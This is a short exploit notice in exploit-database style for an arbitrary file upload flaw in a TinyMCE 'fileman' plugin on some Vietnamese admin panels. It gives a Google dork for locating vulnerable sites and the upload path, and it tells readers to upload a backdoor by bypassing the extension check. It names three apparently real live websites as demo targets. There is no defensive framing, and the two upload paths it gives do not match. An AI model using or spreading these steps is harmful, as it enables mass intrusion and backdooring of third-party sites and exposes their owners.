***************************************************
# Exploit Title: Đăng nhập Arbitrary File Upload
# Google Dork: intext:Đăng nhập. Xác nhận. inurl:/xadmin
# Exploit: /dipnotpanel/js/tinymce/plugins/fileman/php/upload.php
# Date: 12/10/2018
# Author: 0N3R1D3R
# Team: Indonesia To World Team
# Tested on: Windows 10 x64
***************************************************
[+] Search the dork in Google
[+] Exploit the site with /editor/fileman/aklsdjfklsdjflksdkl.html
[+] Upload your backdoor with bypass ext
***************************************************
[+] Demo Site
[+] https://thietbibepkanzler.vn/editor/fileman/aklsdjfklsdjflksdkl.html
[+] http://kientrucla.com/editor/fileman/aklsdjfklsdjflksdkl.html
[+] https://www.songhonghanoi.com/editor/fileman/aklsdjfklsdjflksdkl.html
***************************************************
Thanks To Indonesia To World Team